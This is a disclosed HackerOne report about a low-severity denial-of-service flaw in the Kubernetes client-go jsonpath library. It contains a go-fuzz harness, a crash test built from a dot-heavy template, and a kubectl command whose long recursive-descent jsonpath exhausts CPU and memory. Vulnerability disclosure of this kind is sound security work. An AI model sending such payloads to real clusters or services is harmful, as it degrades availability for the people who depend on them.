HexBrain

Kubernetes · Report #882923

DoS for client-go jsonpath func

Validstatus
lowseverity
6upvotes
24 Jul 2020disclosed

How it was found

Summary:

jsonpath recursive descent cause a DoS vul kubectl apiextensions-apiserver cli-runtime and kubernetes is depends on client-go

I think evalRecursive() cause of this vulnerability function pos: client-go/util/jsonpath/jsonpath.go:451

Component Version:

client-go:master

Steps To Reproduce:

i written a simple fuzz based on go-fuzz, im so lucky to found a crasher.

  1. pull the latest kubernetes code
git clone https://github.com/kubernetes/kubernetes

2.change workdir to kubernetes/staging/src/k8s.io/client-go/util/jsonpath 3.copy this poc to disk use vim or cat, change filename to crash_tests.go

package jsonpath

import (
	"testing"
 	"bytes"
 	"encoding/json"
)

type jsonpathcrashTest struct {
 name     string
 template string
 input    interface{}
}

func FuzzParse(test *jsonpathcrashTest, allowMissingKeys bool) error {

 j := New(test.name)

 j.AllowMissingKeys(allowMissingKeys)
 err := j.Parse(test.template)
 if err != nil {
  return err
 }

 buf := new(bytes.Buffer)
 err = j.Execute(buf, test.input)
 if err != nil {
  return err
 }

 return err
}

func Fuzz(data []byte) int {
 var input = []byte(`{
  "kind": "List",
  "items":[
    {
   "kind":"None",
   "metadata":{
     "name":"127.0.0.1",
     "labels":{
    "kubernetes.io/hostname":"127.0.0.1"
     }
   },
   "status":{
     "capacity":{"cpu":"4"},
     "ready": true,
     "addresses":[{"type": "LegacyHostIP", "address":"127.0.0.1"}]
   }
    },
    {
   "kind":"None",
   "metadata":{
     "name":"127.0.0.2",
     "labels":{
    "kubernetes.io/hostname":"127.0.0.2"
     }
   },
   "status":{
     "capacity":{"cpu":"8"},
     "ready": false,
     "addresses":[
    {"type": "LegacyHostIP", "address":"127.0.0.2"},
    {"type": "another", "address":"127.0.0.3"}
     ]
   }
    }
  ],
  "users":[
    {
   "name": "myself",
   "user": {}
    },
    {
   "name": "e2e",
   "user": {"username": "admin", "password": "secret"}
   }
  ]
   }`)

 var nodesData interface{}
 err := json.Unmarshal(input, &nodesData)
 if err != nil {
  print(err)
 }

 fuzzData := string(data)

 test := jsonpathcrashTest{name: "crash", template: fuzzData, input: nodesData}

 err = FuzzParse(&test, false)
 if err != nil {
  return 0
 }

 err = FuzzParse(&test, true)
 if err != nil {
  return 0
 }

 return 1
}


func TestCrash(t *testing.T) {
	var data = []byte("{..................." +
	"...................." +
	"...................." +
	"...................." +
	"...................." +
	"...................." +
	"...................." +
	"...................." +
	"...................." +
	"..........51}.")
	Fuzz(data)
}

4.run go test command, now we can see the test process use a lot of cpu and memeory

{F843537}

5.i found a real case in kubectl, if resource (like services pods node) has any record can cause DoS.

kubectl get services -o=jsonpath="{.....................................................................................................................................}"

{F843557}

Impact

maybe in some scenes, attacker can cause DoS.

eg. cloud components use client-go util to process cluster resouce json record.

any other program exec kubectl with jsonpath options, and jsonpath params by user control.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original